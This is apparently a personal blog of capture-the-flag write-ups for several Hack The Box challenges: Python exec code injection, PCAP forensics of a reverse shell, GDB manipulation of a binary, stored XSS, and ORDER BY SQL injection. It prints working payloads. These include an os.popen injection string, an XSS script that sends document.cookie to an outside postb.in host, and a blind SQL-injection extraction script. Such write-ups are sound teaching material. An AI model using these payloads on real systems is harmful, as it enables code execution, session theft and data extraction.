Hack The Boo

Hack The Boo was a Halloween themed CTF from Hack The Box. I could only dedicate a few hours to this, but still managed to solve 3 machines. Below is a quick writeup on the machines I did:

Evaluation Deck

First off, I downloaded the supplied files from the CTF site

/conf/supervisord.conf shows that we will be running /app/run.py using Flask, a web framework.

In the run.py file, we import and run the app function within application/main

From this file, we now import 2 functions (web and api) from application/blueprints/routes, which are hosted at / and /api respectively.

Finally, we find the vulnerable function. We can POST JSON data to the /get_health URL, which ultimately is passed through exec to perform a calculation on line 28.

We can see that we need to provide 3 values: current_health, attack_power and operator. On line 27, current_health and attack_power are cast to ints, so we will abuse the operator value to inject code.

I will spin up a VM and intercept a request using Burp Suite & FoxyProxy. We can see that when we click on a card in the UI, it will make a POST request to get_health.

I will send this request to Repeater, so we can modify the request. My initial thought here was that we could insert a command into the middle of the request and concatenate our current_health and attack_power variables to the end. For example, using the values above it would result in an output along the lines of 100CommandOutput22.

After running the code locally, it became apparent that this wouldn’t be possible due to us attempting to concatenate a string to an integer. Therefore I looked a little deeper, and saw the response function was taking the result value of the output and returning it as a response. We can abuse this by setting our own value to the response variable. We will do this by supplying an operator value of ‘; result = ‘. We can see below that we are effectively generating a JSON response of “result = 123; result = 456″. The server then returns the 456 value.

Now we can control the output, we will import os.popen to run system commands and leverage this vulnerability into an RCE. Using os.system here will run the command, but the returned value is the exit code of the process – not the output of the command!

We now need to import and run a function in one line. Typically in Python we would import our libraries such as ‘os‘ at the top of the file and call the later, but we don’t have that luxury here!

To do this, we will use the __import__ function. I always forget the structure of this, but SethSec had it on their blog:


Putting this all together, we have the following value for ‘operator’:

; result = __import__('os').popen('whoami').read(); a =

We will run this against the box:

By running some basic commands, we can see that the flag is in the parent directory to where we are being executed from.

And we have our flag, using the operator parameter of:

; result = __import__('os').popen('cat ../flag.txt').read(); a =

Wrong Spooky Season

This was the first forensics challenge to be released, with only a single PCAP file provided. I loaded this into WireShark and could see that the file contained HTTP traffic which immidiately grabbed my attention due to it being in plaintext.

Scrolling through the results, we can see there is some seriously suspicious looking requests!

This final GET request appears to be the point at which the ‘attackers’ established a form of reverse shell using Socat. If we sort by frame number, we can see a session is created and then the subsequent frames contain the communication between the attacker and the server.

If we right click on frame 466, we can then select Follow -> Follow TCP Stream to investigate the traffic further. This confirms my suspicion that this is a reverse shell, as we see common enumeration commands being run:

At the end of this output we can see a string which caught my attention. The double equals sign makes me think it is likely base64 encoded. This value is piped into ‘rev‘, so it is likely to be reversed as well.

Using CyberChef to reverse and decode this, we can reveal the flag!

Pumpkin Stand

This challenge was very frustrating for me, as I do not normally do the pwn or reversing challenges! I very much went down the wrong route here, but I figured it would be worth including it anyway.

First off, we have some files we can download locally, and a docker instance. The docker instance shows the command line output of a program.

Inspecting the files, we have an ELF executable

Which when we run it, we are prompted with the same output as the website

I tried running ‘strings pumpkin_stand‘, which suggests that the binary is reading from the flag.txt file.

At this point, I figured the solution was likely to revolve around debugging the program and manipulating it into revealing the flag. My initial ideas revolved around altering the pumpcoins variable which dictates the number of coins we have available to spend.

To do this, I loaded the binary in GDB and dug into it. Some commands of use were:

b *function_nameSet a breakpoint on the ‘function_name’ function
disassShow current call stack
info break (i b)Show all break points
del [breakpoint_number]Remove a breakpoint
set {int} 0x12345678 = 10000Set a variable

Continuing with my idea of modifying the number of coins we have, I set the pumpcoin value to 10000 using set {int} 0x555555602018 = 10000

After removing my breakpoint and resuming, we can see we now have 10000 coins!

I purchased the laser, but it did not reveal the flag for me. I then attempted all manner of different combinations but couldn’t make any progress.

After stepping away from the challenge and speaking with a colleague, I realised that I should have focused more on the Docker container! We could connect to the docker container over a plaintext socket. When we had connected to this, we could simply enter in incorrect values and the binary would not catch the error and instead show the flag.

I believe a successful combination was to buy item ‘3’, which would not be handled correctly.


Overall, Hack The Boo was another excellent CTF organised by HackTheBox. Hopefully next time I will be able to dedicate more time to it and try to get a bit higher up the leaderboard!

HTB Christmas CTF – Toy Workshop


Toy Workshop was a 1 star rated ‘Web’ challenge from the HackTheBox “Cyber Santa is Coming to Town” CTF. This was an interesting challenge, with the flag coming from a blind stored-XSS which led to the leakage of the flag from a cookie value in a Puppeteer instance.

After that mouthful, lets take a look at my solution to this problem.

Tooling Used

I made use of a number of new tools for this challenge. Rather than spinning up an Azure VM, I wanted to try and use free online resources. In particular, I used:


I performed initial recon with my go-to combination of nikto -host x.x.x.x and gobuster dir -u http://x.x.x.x. These returned nothing interesting, so I moved to digging through the resources on the site. At this point I remembered that we can download the files for the server from the CTF site. This reveals a POST request to /api/submit.

Initially, I thought the vulnerability would be within the logic for the /queries endpoint. Due to this checking for a localhost address, I suspected that spoofing the X-Forwarded-For header could allow this check to be bypassed. As Express is known to have issues when relying on the value from the req.ip parameter.

After many attempts, I decided to look elsewhere as I wasnt making progress. After a short search, I discovered the bot.js file, which had some unusual behaviour.


The bot.js file uses puppeteer to load the site. As shown on line 24 of the file, the flag is included in the cookies when it loads the site. My initial thought here was to either obtain command execution or a reverse shell. With no obvious routes to achieve this, I decided to try and inject HTML into the web page.

As you can see from the logic of the server, it uploads our data to the database and then queries it using puppeteer. This means we could upload HTML and it should be processed by the bot. The code for the database actions are shown below:

Canary Tokens

To test this theory, I created a CanaryToken web bug to test that I could perform two different actions.

  • The ability to inject HTML into the /queries endpoint
  • The server can reach out to an arbitrary web resource (i.e no firewalls)

Using a temporary email address, I registered this token. I then created a basic payload to inject an image into the webpage. Using Burp Suite I was able to insert it to the database.

This then returned a hit to my temporary mailbox, as shown below.

Final Payload

To convert this into a working payload, I decided to redirect the /queries endpoint to a postb.in page I controlled. This allowed me to POST the value of the cookies out. In the end, my complete payload for /api/submit was as follows:

    "query":"<html><script>document.location=\"https://postb.in/RANDOM_ID? cookie=\"+document.cookie</script></html>"

In postb.in we can view the contents of the cookies:

Revealing a flag of HTB{3v1l_3lv3s_4r3_r1s1ng_up!} for Toy Workshop .

HTB Cyber Apocalypse – Emoji Voting Writeup

Emoji Voting was a 2-star rated ‘Web’ machine. The server was vulnerable to SQL injection, which allowed for the flag to be discovered. This was a fairly laborious process, as the SQL injection was after an ‘ORDER BY’ statement, which increased the complexity of exploiting it.

Pwning Emoji Voting

The website itself appears to be a simple voting system, with buttons to vote for various emoji’s. As with most of the HackTheBox machines, there was a file containing the files for the server. These files reveal that the flag is going to reside within a table beginning with ‘flag_

SQL statements to create the table to hold the flag file
SQL statements to create the table to hold the flag file

Reading the database.js file, it revealed 2 database functions which could be exploited, namely vote() and getEmojis(). After some initial testing, it was clear that the getEmojis function was the vulnerable endpoint.

The two database functions within database.js
The two database functions within database.js

Intercepting the traffic with Burp reveals that a request is made to the /api/list endpoint every 5 seconds (To update the current voting statistics). This endpoint then calls the getEmojis function, which takes the body of the request and uses it in the ORDER BY statement above.

Typically, exploiting a vulnerability like this would be fairly easy with a UNION command, or a sub-query. The following quote explains why this particular type of SQL injection is tricky to exploit:

Exploiting SQL injection in an ORDER BY clause is significantly different from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Exploitation requires the attacker to specify a nested query in place of the ORDER BY parameter.


Crafting an nested SQL statement

To exploit this, we can run a nested query after the ORDER BY clause. This allows us to compare one letter at a time, and slowly discover values within the database. This is exceptionally slow, but it is a viable method! Sending the following text to the /api/list endpoint: {"order":"(CASE WHEN 1==2 THEN id ELSE count END) DESC"}. This returned the emoji values ordered by the count value, showing we had successfully injected code into the SQL statement. The SQL engine had determined that 1==2 was false, and so it evaluated to count DESC, returning the data ordered by the count value descending.

Successfully injecting into the SQL statement
Successfully injecting into the SQL statement

Following a lot of troubleshooting, an SQL statement can be written to find the full name of the ‘flag table’. As the ‘flag table’ uses a randomised name, we need to query the sqlite_master table to determine its name. By using the process above, we know that a value is true if it returns data ordered by the id column, if it is false then it will be ordered by the count column. This query is as follows:

{"order":"(CASE WHEN (SELECT SUBSTR(name,1,1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag_%')=CHAR(1) THEN id ELSE count END) DESC"}

Using Python, we can rapidly query the API, and easily determine if we have found the correct letter for a given position. We do this by incrementing the value of the SUBSTR method and the CHAR value to cover the entire word. After doing this, we end up with the following script.

import requests,time

URL = ""

def make_request(position, value):
    request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(name,{position},1) FROM sqlite_master WHERE type ='table' AND name LIKE 'flag%')=CHAR({value}) THEN id ELSE count END) DESC"}

    resp = requests.post(URL, json=request_data)
    response_json_data = resp.json()

    if response_json_data[1]['id'] == 11:
        return True
        return False

for position in range(6,17):
    #For each position, try and determine the letter

    for hex_value in range(255):
        response = make_request(position, hex_value)

        if response:
            print(f"Char Position {position} = {hex_value} ({chr(hex_value)})")

Finding the flag table and Emoji Voting flag

After running this for a few minutes, we figure out the full name of the flag table, as being flag_e42009d78f, as shown below.

Discovering the name of the table containing the flag
Discovering the name of the table containing the flag

Now we know the name of the table, we can modify the request_data f-string value to query the flag column within the flag_e42009d78f table. This then changes to the following value:

request_data = {"order":f"(CASE WHEN (SELECT SUBSTR(flag,{position},1) FROM flag_e42009d78f)=CHAR({value}) THEN id ELSE count END) DESC"}

Running the Python script again, we figure out the final flag value is CHTB{order_me_this_juicy_info}. Overall, I really enjoyed playing through Emoji Voting. I felt I was quite good at SQL injection exploits, but this machine taught me a lot of new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

Discovering the full flag for Emoji Voting
Discovering the full flag for Emoji Voting